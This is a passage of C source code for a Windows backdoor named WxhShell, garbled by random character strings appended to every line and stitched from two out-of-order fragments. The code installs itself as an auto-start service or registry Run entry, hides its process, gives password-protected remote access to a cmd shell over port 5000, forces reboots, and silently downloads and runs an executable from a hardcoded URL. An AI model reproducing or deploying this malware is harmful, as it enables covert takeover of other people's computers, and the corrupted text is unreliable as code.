    if(Boot(SHUTDOWN)) @UQ421Z`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]\m >N]P]  
    else { qPoN 8>.  
    closesocket(wsh); bCqTubbx!t  
    ExitThread(0); |Pi! UZB  
    } xO&qo8*  
    break; " 6ScVa5)  
    } .,F`*JVFq  
  // 获取shell vEw8<<cgg  
  case 's': { M@+Pq/f:  
    CmdShell(wsh); mI'&!@WG  
    closesocket(wsh); -car>hQq  
    ExitThread(0); s w{e |  
    break; o[)*Y`xq<w  
  } 3?e~J"WXC5  
  // 退出 c8LMvL  
  case 'x': { Vw]!Kb7tA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eY[kUMo  
    CloseIt(wsh); j]C}S*`"  
    break; QJ+Ml  
    } 1pAcaJzf  
  // 离开 \03ZE^H  
  case 'q': { HZqk)sN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `j8pgnY>5~  
    closesocket(wsh); Cy dV$!&mP  
    WSACleanup(); + w/B3 b  
    exit(1); b/?)_pg  
    break; 2N{^V?:  
        } mDx=n.lIz  
  } ]=ADX}  
  } RT|1M"?$  
.$fSWlM;  
  // 提示信息 %,(X R`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @FZbp  
} 0D Lw  
  } ohjl*dw  
2Z>8ROv^X  
  return; Eq|5PE^7  
} 25 cJA4  
(hEg&@  
// shell模块句柄 _y&XFdp  
int CmdShell(SOCKET sock) u+^KP>rM(  
{ f,x;t-o+R  
STARTUPINFO si; z*B?Hw),  
ZeroMemory(&si,sizeof(si)); Xdf4%/Op  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C1>zwU_zo  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 05:?5M4};  
PROCESS_INFORMATION ProcessInfo; _F8THYg (  
char cmdline[]="cmd"; jZD)c_'U  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /DjsnU~3  
  return 0;  aWPf3Q  
} b gxk:$E  
`<{LW>Lb  
// 自身启动模式 udXzsY9Ng  
int StartFromService(void) D?=4'"@v  
{ \SoT^PW  
typedef struct e+V8I&%  
{ {Fqwr>e  
  DWORD ExitStatus; HX)]@qL  
  DWORD PebBaseAddress; IXG@$O?y/  
  DWORD AffinityMask; N0%q 66]1  
  DWORD BasePriority; ZZL@UO>:  
  ULONG UniqueProcessId; zf&:@P{  
  ULONG InheritedFromUniqueProcessId; $6(a6!  
}   PROCESS_BASIC_INFORMATION; \d*ts(/a*  
4jSYR#Hqp`  
PROCNTQSIP NtQueryInformationProcess; 1[J|AkN  
\E[6wB>uN%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e{9~m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \B^NdG5Y  
Q :.i[  
  HANDLE             hProcess; YUHiD *  
  PROCESS_BASIC_INFORMATION pbi; na|sKE;{  
\KzH5?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vZW[y5   
  if(NULL == hInst ) return 0; 8+J>jZ  
r6kJV4I=re  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DJ*mWi.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  "iR:KW@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [:(/cKo  
ALV(fv$cD  
  if (!NtQueryInformationProcess) return 0; ,i1BoG  
&=MVX>[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T:@7EL  
  if(!hProcess) return 0; k~gOL#$  
6ypLE@Mk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,<Z,-0S  
\7%#4@;?  
  CloseHandle(hProcess); wZN_YFwQ  
nzaA_^`mB  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \A,zwdt P  
if(hProcess==NULL) return 0; 8\^A;5  
!^ad{# |X  
HMODULE hMod; >:4`y"0  
char procName[255]; jCXBp>9$M  
unsigned long cbNeeded; C<3<,~gI  
#UhH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); EZN!3y| m  
g8l6bh$}  
  CloseHandle(hProcess); H%XF~tF:  
~\AF\n%  
if(strstr(procName,"services")) return 1; // 以服务启动 kiyc^s  
=JW-EQ6[T  
  return 0; // 注册表启动 co3\1[q"b  
} ;-XfbqZ\  
J{.UUw9Agd  
// 主模块 \1LfDlQk)  
int StartWxhshell(LPSTR lpCmdLine) s'oNW  
{ tv.<pP9-C  
  SOCKET wsl; f*B-aj#  
BOOL val=TRUE; yi*EobP  
  int port=0; A=5Ebu!z  
  struct sockaddr_in door; R^$|D)(  
g&y^r/  
  if(wscfg.ws_autoins) Install(); %T\hL\L?  
8*@{}O##  
port=atoi(lpCmdLine); D4,>g )B  
gFKJbjT|  
if(port<=0) port=wscfg.ws_port; M:{Aq&.  
S,nELV~!  
  WSADATA data; )-emSV0zE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]/H6%"CTa  
/KX+'@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   * 70 ZAo4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \0d'y#Gp*  
  door.sin_family = AF_INET; ,aLwOmO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )0iN2L]U;  
  door.sin_port = htons(port); .1jiANY  
"GQ Q8rQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _1&Ar4:  
closesocket(wsl); 9i}$245lB  
return 1; y:}qoT_.  
} TKv!wKI  
uBa<5YDF  
  if(listen(wsl,2) == INVALID_SOCKET) { N{S) b  
closesocket(wsl); |:&6eDlR  
return 1; n\l?+)S *  
} &v0-$  
  Wxhshell(wsl); m;]wKd"  
  WSACleanup(); Cp mT *  
P|bow+4  
return 0; -]HZ?@  
* l1*zaE  
} ;_)~h$1%=  
>*8V]{f9  
// 以NT服务方式启动 SXZ9+<\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m]!hP^^  
{ )/%5f{+}  
DWORD   status = 0; (pd$?vRy  
  DWORD   specificError = 0xfffffff; x lS*9>Ij  
f4b9o[,s2e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lQHF=Jex  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; LWT\1#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L|T?,^  
  serviceStatus.dwWin32ExitCode     = 0; Rbf6/C  
  serviceStatus.dwServiceSpecificExitCode = 0; , :#bo]3  
  serviceStatus.dwCheckPoint       = 0; YE{ [f@i0  
  serviceStatus.dwWaitHint       = 0; Qk:Lo*!  
mGj)Zrx>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5M~{MdF|.  
  if (hServiceStatusHandle==0) return; `a4&_`E,p  
PY.K_(D  
status = GetLastError(); hOU H1m.  
  if (status!=NO_ERROR) 'UIFP#GtFO  
{ *G> x07S)~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #@$80eFq  
    serviceStatus.dwCheckPoint       = 0; fw jo?  
    serviceStatus.dwWaitHint       = 0; ,UMr_ e{|  
    serviceStatus.dwWin32ExitCode     = status; I[Lg0H8  
    serviceStatus.dwServiceSpecificExitCode = specificError; /;#kV]nF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &,k!,<IF  
    return; M`H#Qo5/  
  } *y?HaU  
#`*uX6C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j#n ]q{s4  
  serviceStatus.dwCheckPoint       = 0; jU j\<aW  
  serviceStatus.dwWaitHint       = 0; P3&s<mh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ORs :S$Nt$  
} A _zCSRF,  
BB/wL_=:  
// 处理NT服务事件,比如:启动、停止 i D IY|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tF`L]1r>  
{ F,wB6Cw  
switch(fdwControl) 'F/oR/4,  
{ h#hr'3bI1  
case SERVICE_CONTROL_STOP: _xaum  
  serviceStatus.dwWin32ExitCode = 0; {r&mNbz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6:#o0OeBP  
  serviceStatus.dwCheckPoint   = 0; WMf / S"=  
  serviceStatus.dwWaitHint     = 0; (@+pz/  
  { t<p#u=jOa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z3tx]Ade  
  } 6(bN*.  
  return; [Y .8C$0  
case SERVICE_CONTROL_PAUSE: K$,Zg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5wx_ol}2  
  break; JY#vq'dl|  
case SERVICE_CONTROL_CONTINUE: X3:z=X&Zd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ZL6HD n!  
  break; wf\"&xwh?  
case SERVICE_CONTROL_INTERROGATE: qPq]%G*{  
  break; [<R haZz  
}; d&FXndC4F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BV~J*e  
} $vegU]-R  
sN[}B{+  
// 标准应用程序主函数 =6[.||9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M%S7cIX ]F  
{ ?'MkaG0g  
[gmov)\c  
// 获取操作系统版本 "`49m7q1H  
OsIsNt=GetOsVer(); kw#X,h P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (u@:PiU/eP  
oe|#!SM(  
  // 从命令行安装 Z!"-LQJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); k<<x}=  
VhUWws3E  
  // 下载执行文件 m^3x%ENZ  
if(wscfg.ws_downexe) { \)~d,M}kK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) el9P@r0  
  WinExec(wscfg.ws_filenam,SW_HIDE); mAW.p=;  
} u5oM;#{@-  
|2j,  
if(!OsIsNt) { = j1Jl^[  
// 如果时win9x,隐藏进程并且设置为注册表启动 >a?Bk4w  
HideProc(); v1OVrk>s>  
StartWxhshell(lpCmdLine); ="voJgvw  
} Tz @=N]D  
else J?8Mo=UZz  
  if(StartFromService()) BIWe Hx  
  // 以服务方式启动 v76Gwu$ d  
  StartServiceCtrlDispatcher(DispatchTable); W@T \i2r$z  
else {cXr!N^K  
  // 普通方式启动 &>JP.//spi  
  StartWxhshell(lpCmdLine); |(>`qL{|  
QoZV 6  
return 0; 7?Wte&C];p  
} ( s3k2Z  
GTdoUSUq  
3a?-UT!  
)^ah, ;(  
=========================================== [CJ<$R !  
^K?-+  
d?fS#Ryb  
iW` tr  
Ln h =y2  
>C|pY6  
" 2RkW/) A9  
+fKOX#%  
#include <stdio.h> 6.D|\;9{c  
#include <string.h> Bh3F4k2bg7  
#include <windows.h> }>@\I^Xm,  
#include <winsock2.h> !Km[Qw k-  
#include <winsvc.h> eYUb>M)  
#include <urlmon.h> V]zc-gYI  
&<F9Z2^  
#pragma comment (lib, "Ws2_32.lib") l_h:S`z.  
#pragma comment (lib, "urlmon.lib") :ppaq  
I&1Lm)W&  
#define MAX_USER   100 // 最大客户端连接数 YYe G9yR  
#define BUF_SOCK   200 // sock buffer P.]h`4  
#define KEY_BUFF   255 // 输入 buffer =^4Z]d  
bk0>f   
#define REBOOT     0   // 重启 pa>C}jk}6  
#define SHUTDOWN   1   // 关机 53i]Q;k[  
h:aa^a~y i  
#define DEF_PORT   5000 // 监听端口 b@Oq}^a&o  
gNCS*a  
#define REG_LEN     16   // 注册表键长度 =D`8,n [  
#define SVC_LEN     80   // NT服务名长度 Scrj%h%[  
mku@n;Hl_  
// 从dll定义API v;]rFc#Px[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $mQ0w~:@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); up5f]:!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A=<7*E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); PgkU~68`  
Ob$``31{s  
// wxhshell配置信息 w(oK   
struct WSCFG { WNyW1?"  
  int ws_port;         // 监听端口 [}L~zn6>?a  
  char ws_passstr[REG_LEN]; // 口令 HRf;bKZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no FNQ<k[#K'~  
  char ws_regname[REG_LEN]; // 注册表键名 ~5KcbGD~  
  char ws_svcname[REG_LEN]; // 服务名 `c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y!FO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 | b'Ut)E  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E %mEfj7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nfEbu4|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" W==~ 9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2R/|/>T v  
F1Z'tjj+  
}; LF7- ?? '  
oZBD.s  
// default Wxhshell configuration ^ij0<*ca9  
struct WSCFG wscfg={DEF_PORT, g|~px$<iY  
    "xuhuanlingzhe", h(|T.  
    1, Z [!"x&H]h  
    "Wxhshell", -#Zdf |  
    "Wxhshell", ^DYS~I%s  
            "WxhShell Service", 5$9$R(KU  
    "Wrsky Windows CmdShell Service", c1f"z1Z  
    "Please Input Your Password: ", :33@y%>L  
  1, @Xo*TJB  
  "http://www.wrsky.com/wxhshell.exe", PT/Nz+  
  "Wxhshell.exe" I6.rN\%b  
    }; UoT`/.  
]\pi!oa  
// 消息定义模块 rFXdxRP;M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y'2|E+*V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; AB3_|Tza~&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~q`!928Gu  
char *msg_ws_ext="\n\rExit."; }5 rR^ryA  
char *msg_ws_end="\n\rQuit."; i'ap8Dr  
char *msg_ws_boot="\n\rReboot..."; @| z _&E  
char *msg_ws_poff="\n\rShutdown..."; ~c)&9'  
char *msg_ws_down="\n\rSave to "; 26j<>>2  
h^3gYL7O6  
char *msg_ws_err="\n\rErr!"; '<Zm>L&  
char *msg_ws_ok="\n\rOK!"; h:4(Gm;  
}* :3]  
char ExeFile[MAX_PATH]; j`_S%E%X  
int nUser = 0; Wiis<^)  
HANDLE handles[MAX_USER]; +CSpL2@  
int OsIsNt; YmV/[{  
Q|_F P:  
SERVICE_STATUS       serviceStatus; ~]KdsT(=_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2`=jKt  
Ln>!4i+-B)  
// 函数声明 | eBwcC#^  
int Install(void); GHv6UIe&  
int Uninstall(void);  [Sm<X  
int DownloadFile(char *sURL, SOCKET wsh); khy'Y&\F;  
int Boot(int flag); w"R<8e=  
void HideProc(void); Rta}*  
int GetOsVer(void); 't<iB&wgF  
int Wxhshell(SOCKET wsl); Hx#YN*\.M  
void TalkWithClient(void *cs); I*rUe#$  
int CmdShell(SOCKET sock); DGvuo 8  
int StartFromService(void); ^to*ET{0  
int StartWxhshell(LPSTR lpCmdLine); u]*7",R uU  
^6W}ZLp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lSX1|,B7:]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z ]A |"6<  
<nk|Z'G E  
// 数据结构和表定义 i%i~qTN  
SERVICE_TABLE_ENTRY DispatchTable[] = Y '/6T]a  
{ \[G'cE  
{wscfg.ws_svcname, NTServiceMain}, ifn=De3+  
{NULL, NULL} zhJeTctRz  
}; O nXo0PV/(  
o#m31* o  
// 自我安装 )LP'4*  
int Install(void) j7!u;K^c  
{ A]bb*a1  
  char svExeFile[MAX_PATH]; do" m=y  
  HKEY key; //8W">u  
  strcpy(svExeFile,ExeFile); 7 A0?tG  
jF6_yw  
// 如果是win9x系统,修改注册表设为自启动 Jn hdZa  
if(!OsIsNt) { {~apY,3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r5j$FwY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G$C2?|V)=  
  RegCloseKey(key); D.Ke  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,6+j oKe-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dgVGP_~  
  RegCloseKey(key); DAw1S$dM  
  return 0; BK!Yl\I<  
    } &4%pPL\f  
  } dS1HA>c)O  
} *R6lK&  
else { I_1?J* b4k  
6J;!p/C8E  
// 如果是NT以上系统,安装为系统服务 D`XXR}8V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;@; a eu  
if (schSCManager!=0) ^wy  
{ $ #=d@Nw_  
  SC_HANDLE schService = CreateService JA^!i98{  
  ( _9BL7W $;  
  schSCManager, QQAEG#.5  
  wscfg.ws_svcname, ,i_+Z |Ls  
  wscfg.ws_svcdisp, >nkVZ;tL  
  SERVICE_ALL_ACCESS, FG${w.e<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k8 #8)d  
  SERVICE_AUTO_START, h3F559bw/<  
  SERVICE_ERROR_NORMAL, $:s@nKgnD~  
  svExeFile, bidFBldKl  
  NULL, bd /A0i?C  
  NULL, a8xvK;`  
  NULL, qT?{}I  
  NULL, W*LC3B^  
  NULL t|@5 ,J  
  ); {t;o^pUF  
  if (schService!=0) &YIL As^8A  
  { M~zI;:0O  
  CloseServiceHandle(schService); &[yC M!  
  CloseServiceHandle(schSCManager); 2P:X_:`~[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,!> ~izB  
  strcat(svExeFile,wscfg.ws_svcname); 4Uny.C]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { RxP~%oADw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mAlG }<  
  RegCloseKey(key); bqn(5)%{  
  return 0; hp -|a  
    } jwwRejNV  
  } 8R)K$J$Hm  
  CloseServiceHandle(schSCManager); 2D!jVr!  
} 1XiA  
} 6vNW)1{nn  
(H:c8 0/V  
return 1; }hy4EJ  
} AYf}=t|  
|6So$;`  
// 自我卸载 | >}CoR7  
int Uninstall(void) ztU"CRa8  
{ ]{=y8]7  
  HKEY key; -gGw_w?)(  
M2%@bETJ  
if(!OsIsNt) { jNxTy UU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =*fq5v  
  RegDeleteValue(key,wscfg.ws_regname); #GGa,@O  
  RegCloseKey(key); xn, u$@F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }wo:1v8J  
  RegDeleteValue(key,wscfg.ws_regname); ,?LE5]  
  RegCloseKey(key); +~=a$xA[C  
  return 0; jA "}\^%3  
  } qz- tXc ,  
} M XW1 :  
} j~_iv~[  
else { +aOevkY]  
9o,Eq x4J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2:Yvr_L  
if (schSCManager!=0) W$]qo|2P  
{ 8K2@[TE=5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lAnOO5@8  
  if (schService!=0) ~;?mD/0k  
  { v[|-`e*  
  if(DeleteService(schService)!=0) { uWx<J3~q.  
  CloseServiceHandle(schService); YXo?(T..  
  CloseServiceHandle(schSCManager); L%H\|>k`  
  return 0; MO0t  
  } ((Av3{05H&  
  CloseServiceHandle(schService); ta95]|z"j  
  } 8i$|j~M a  
  CloseServiceHandle(schSCManager); DD/B\  
} `Fcr`[  
} "(jD*\8x  
T=/c0#Q|q  
return 1; 7a>+ma\  
} :PV3J0pB~  
~> )>hy)  
// 从指定url下载文件 _#M4zO7  
int DownloadFile(char *sURL, SOCKET wsh) .S:(O+#Gm  
{ RQ0^ 1 R  
  HRESULT hr; A*BN  
char seps[]= "/"; b81^756  
char *token; `[$>S  
char *file; ty5# a  
char myURL[MAX_PATH]; :Xy51p`.;]  
char myFILE[MAX_PATH]; NcbW"Qv3  
Lp%J:ogV`  
strcpy(myURL,sURL); (6/aHSXI  
  token=strtok(myURL,seps); C_3,|Zq?|  
  while(token!=NULL) ,#N}Ni:  
  { ~NE`Ad.G  
    file=token; 6 JI8l`S  
  token=strtok(NULL,seps); ;a|%W4"  
  } 0++RxYFCL  
` C d!  
GetCurrentDirectory(MAX_PATH,myFILE); ?Xpk"N7  
strcat(myFILE, "\\"); j#3IF *"  
strcat(myFILE, file); q-^{2.ftcx  
  send(wsh,myFILE,strlen(myFILE),0); !]?kvf-3e  
send(wsh,"...",3,0); 6  _V1s1F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'hu'}F{  
  if(hr==S_OK) CE{2\0Q  
return 0; Cn=#oE8(A  
else a`:F07r  
return 1; xrXfZ>$5bM  
A1;'S<a  
} 7%$3`4i`O  
<FR!x#!   
// 系统电源模块 qYoU\y7  
int Boot(int flag) o5Rv xGN  
{ x?rd9c  
  HANDLE hToken; d l Ab`ne  
  TOKEN_PRIVILEGES tkp; {oAD;m`  
Z Uj1vf6I  
  if(OsIsNt) { \0Xq&CG=E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #'@@P6o5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2f{p$YIt  
    tkp.PrivilegeCount = 1; ]w,|WZm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 16N |  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7}NvO"u  
if(flag==REBOOT) { S@[NKY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8B+C[Q:+'  
  return 0; uEhPO  
} 'I}wN5`  
else { w('}QB`xad  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v6wg,,T  
  return 0; >B``+ Z^2  
} `*0VN(gf'  
  } UdcV<#  
  else { P}=n^*8(I  
if(flag==REBOOT) { *'?V>q,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 45BpZ~-  
  return 0; +_ 8BJ  
} 3xRn  
else { a; a1>1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }s"].Xm^2  
  return 0; R4b!?}d  
} *Cp:<M nd  
} ffI=Bt]t  
d%L/[.&  
return 1; 74NL)|M  
} ./zzuKO8XK  
L)<~0GcP  
// win9x进程隐藏模块 M%$ITE  
void HideProc(void) <Vt"%C  
{ Myn51pczl  
F( /Ka@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X]2x0  
  if ( hKernel != NULL ) ,*9gy$  
  { zgGJ<=G.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); YADXXQ"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F_ -Xx"  
    FreeLibrary(hKernel); N_FjEZpX  
  } ,* \s  
hAds15 %C  
return; *q\>DE=7  
} pI.8Ip_r  
X,lhVT |  
// 获取操作系统版本 OaT]2o  
int GetOsVer(void) *aFh*-Sj2I  
{ I!(BwYd  
  OSVERSIONINFO winfo; T#:b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~PAI0+*"q  
  GetVersionEx(&winfo); WAtv4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -s)h ?D  
  return 1; !,Cbb }  
  else B>S>t5$  
  return 0; r}(mjC"o  
} ;;C2t&(  
1A* "v  
// 客户端句柄模块 m;1/+qs0  
int Wxhshell(SOCKET wsl) $*:$-  
{ {: \LFB_  
  SOCKET wsh; TI2K_'  
  struct sockaddr_in client; iv],:|Mbd  
  DWORD myID; =HV${+K=~  
Ek_<2!%X  
  while(nUser<MAX_USER) P0sAq7"  
{ \"L0d1DK)  
  int nSize=sizeof(client); %2B1E( r%M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1*6xFn  
  if(wsh==INVALID_SOCKET) return 1; e^x%d[sU  
+7AH|v8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Wi,)a{  
if(handles[nUser]==0) G^.tAO5:f  
  closesocket(wsh); >lyE@S sA  
else -eD]gm  
  nUser++; }J-e:FUF#  
  } 1_;{1O+B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8X278^ #  
~4twI*f  
  return 0; C9""sVs  
} v046  
-0]%#(E%`h  
// 关闭 socket 9KJ}A i  
void CloseIt(SOCKET wsh) 62Tel4u  
{ xpu 2RE  
closesocket(wsh); %]4=D)Om  
nUser--; jY=M{?h''  
ExitThread(0); q\gbjci  
} ~J5B?@2hK  
C(z 'oi:f  
// 客户端请求句柄 ?<\2}1  
void TalkWithClient(void *cs) g>gf-2%Uo  
{ b5KK0Jjk  
to1r 88X  
  SOCKET wsh=(SOCKET)cs; *WFd[cKE  
  char pwd[SVC_LEN]; L`w r~E2u  
  char cmd[KEY_BUFF]; lOe|]pQ.,  
char chr[1]; P*U^,Jh<  
int i,j; IGly x'\_  
Y" rODk1  
  while (nUser < MAX_USER) { jT F "  
o Q*LP{M  
if(wscfg.ws_passstr) { tGbx/$Y   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); voTP,R[}85  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [f[Wz{Q#Y  
  //ZeroMemory(pwd,KEY_BUFF); M"qS#*{  
      i=0; iTT%_-X-  
  while(i<SVC_LEN) { %""h:1/S  
OjG`s-91&  
  // 设置超时 B(} 'yY@%u  
  fd_set FdRead; vM$hCV ~N  
  struct timeval TimeOut; >,_0Mem2Rr  
  FD_ZERO(&FdRead); 8$Zwk7 w8A  
  FD_SET(wsh,&FdRead); Di}M\!-[  
  TimeOut.tv_sec=8; F?cwIE\J  
  TimeOut.tv_usec=0; =*zde0T?l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q7d@+C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y7rT[f/J  
s aHY9{)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BgDWl{pm  
  pwd=chr[0]; x%[NK[^&  
  if(chr[0]==0xd || chr[0]==0xa) { hsYE&Np_Q  
  pwd=0; .=d40m  
  break; Je2&7uR0  
  } !#*#jixo  
  i++; BpX`49  
    } fBz|-I:k +  
$ e,r>tgD  
  // 如果是非法用户,关闭 socket j+q)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cD)9EFo  
} H5 :,hrZY  
AGjjhbGB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >ZeARCf"f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TXf60{:f  
Z5*(xony0  
while(1) { N[fwd=$\#  
y9LO;{(  
  ZeroMemory(cmd,KEY_BUFF); M&gi$Qs[E  
T/ eX7p1  
      // 自动支持客户端 telnet标准   W2zG"Q  
  j=0; $;~YgOVZ5  
  while(j<KEY_BUFF) { P|p X F~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =K|#5p`  
  cmd[j]=chr[0]; ]l+<-  
  if(chr[0]==0xa || chr[0]==0xd) { n\<7`,  
  cmd[j]=0; ,S<) )  
  break; =VT\$ 5A  
  } Qnt9x,1m_  
  j++; #Q-#7|0&  
    } /`nkz  
]>*VEe}hJ  
  // 下载文件 piuM#+Y\'S  
  if(strstr(cmd,"http://")) { H!OX1F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Iu5 9W >  
  if(DownloadFile(cmd,wsh)) %4V$')rek  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "9"  
  else Oo FMOlb.Z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g>w {{G  
  } ?$uF(>LD  
  else { w:iMrQeJg  
r ?<kWR?w  
    switch(cmd[0]) { Gr)G-zE  
